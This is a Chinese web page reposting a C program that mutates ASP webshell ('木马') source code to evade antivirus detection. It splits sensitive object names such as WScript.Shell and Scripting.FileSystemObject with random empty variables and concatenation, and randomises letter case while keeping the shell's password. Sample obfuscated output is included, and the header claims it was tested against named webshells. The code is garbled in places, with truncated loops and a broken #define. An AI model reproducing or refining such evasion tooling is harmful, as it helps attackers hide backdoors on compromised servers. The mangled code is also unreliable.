asp木马变形程序 -电脑资料
<--插入广告JS代码-->/*asp木马变形程序,参考super.hei的文章,随机改变字符大小写,不会破坏原有密码,
Set hh=Server.CreateObject("Scrip"&"ting.file"&qsdsdsdf&"systemobject"),
&,+ 在scripting.filesystemobject中出现的位置也是随机的,中间加入的空变量也是
随机的,程序能对11个asp对象做处理,后续版本将继续加入,桂林老兵及海洋顶端木马
测试通过,
asp木马变形程序
。mail me:websport@126.com*//*结果如下*/
/*set wqa = server.createObject("scriptin"+zcFpi&"g.dicti"&Lyemj&"onary")
set waz = server.createObject("scripting.Enc"&Lyemj+"od"+kchdd+"er")
set hh=server.createObject("s"&kchdd+"cripting.FilesystemOb"&iWcGh+"ject")
set FsO=server.createObject("script"+iWcGh&"ing.F"+koEmp+"ilesystemobject")
set waw = server.createObject("WscRipT.sHE"&koEmp+"L"+GsGFt+"L")
set wqwe = server.createObject("WscRipT.NE"+GsGFt+"TW"&Fssij&"ORk")
set wqds = server.createObject("adodb.s"&Fssij+"t"+ntGvv+"ream")*/
#include
#include
#include
#include
#define Max 600
#d
efine Num 5#define N 51
#define M 11
#define Q 20
char rand_c[N]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz";
char rand_d[2]={'&','+'};
char pwd[Max];
int flag_p=0;
void help(void);
void rand_char(char rand_s[Max][Num]);
void exec_asp(char *fs,char *ft);
int main(int argc,char *argv[])
{
if(argc==1)
{
help();
}
if(argc==4)
{
flag_p=1;
strcpy(pwd,argv[3]);
}
exec_asp(argv[1],argv[2]);
return 0;
}
void help(void)
{
printf("Written by W.Z.T welcome tohttp://Www.HackerTop.Cn\n\n");
printf("Sasp.exe
exit(0);
}
void rand_char(char rand_s[Max][Num])
{
int i,j;
time_t t;
srand((unsigned) time(&t));
for(i=0;i { for(j=0;j { rand_s[i][j]=rand_c[rand()%N]; // printf("%c",rand_s[i][j]); } // printf("\n"); } } void exec_asp(char *fs,char *ft) { time_t t; FILE *fp_s,*fp_t,*fp_c,*fp_d; char *check="createobject"; char *check2="cripting"; char *check3="exec"; char *code[M]={"scripting.filesystemobject", "wscript.shell", "wscript.network","scripting.encoder", "scripting.dictionary","adodb.stream","shell.application","adox.catalog","jro.jetengine", "adodb.connection","adodb.recordset"}; char line[Max],line1[Max]; char rand_s[Max][Num]; char name[Q]="sgl.txt"; char g[Q]; char *p,ch; int ls,lk,len,len1,len3; int rands1,rands2; long lenth=0,k=0; int flag=1,flag1=1; int i,j; int pos_i; if((fp_s=fopen(fs,"r"))==NULL) { printf("Can't open the file %s.\n",fs); exit(0); } if((fp_t=fopen(ft,"w+"))==NULL) { printf("Can't open the file %s.\n",ft); exit(0); } rand_char(rand_s); while(fgets(line,512,fp_s)!=NULL) { lenth++; strcpy(line1,line); for(i=0;i { if(line1[i]>='A'&&line1[i]<='Z') line1[i]+=32; } for(i=0;i { if(strstr(line1,code[i])!=NULL) { flag=1; pos_i=i; printf("found----------->%d,%s\n",lenth,line); break; } } if(flag) { if(strstr(line1,check)!=NULL) { if(pos_i==0) { if(strstr(line1,check2)==NULL) { flag=0; goto next; } } if(pos_i==1) { if(strstr(line1,check3)==NULL) { flag=0; goto next; } } p=code[pos_i]; len1=strlen(p); lk=strlen(line1); rands1=rand()%len1; rands2=rand()%(len1-rands1); len3=rand()%2; // printf("%d,%d\n",rands1,rands2); if(rands1==0) rands1++; ls=lk-len1-3+rands1; for(i=0;i fprintf(fp_t,"%c",line[i],fp_t); fputs("\"",fp_t); fputc(rand_d[len3],fp_t); fwrite(rand_s[k],sizeof(char),Num,fp_t); len3=rand()%2; fputc(rand_d[len3],fp_t); fputs("\"",fp_t); for(i=ls;i fprintf(fp_t,"%c",line[i],fp_t); fputs("\"",fp_t); len3=rand()%2; fputc(rand_d[len3],fp_t); fwrite(rand_s[k+1],sizeof(char),Num,fp_t); len3=rand()%2; fputc(rand_d[len3],fp_t); fputs("\"",fp_t); for(i=ls+rands2;i fprintf(fp_t,"%c",line[i],fp_t); flag=0; k++; if(k==Max) k=0; } else fputs(line,fp_t); } else { next: fputs(line,fp_t); } } fclose(fp_t); fclose(fp_s); if(flag_p) { if((fp_d=fopen(ft,"r"))==NULL) { printf("Can't open the file %s.\n",ft); exit(0); } fp_c=fopen(name,"w+"); printf("\ncheck----------->your password is %s\n\n",pwd); printf("the changed letters as follows:\n\n"); for(j=0;j { cc: g[j]=rand_c[rand()%N]; for(i=0;i { if(g[j]==pwd[i]) { g[j]=rand_c[rand()%N]; goto cc; } } printf("%c",g[j]); } while((ch=fgetc(fp_d))!=EOF) { for(j=0;j { if(ch==g[j]) { flag1=1; break; } } if(flag1==1) { flag1=0; if(ch>='a'&&ch<='z') { ch-=32; fputc(ch,fp_c); } else { ch+=32; fputc(ch,fp_c); } } else { fputc(ch,fp_c); } } fclose(fp_c); fclose(fp_d); } printf("\n\ndone.good luck:)\n"); }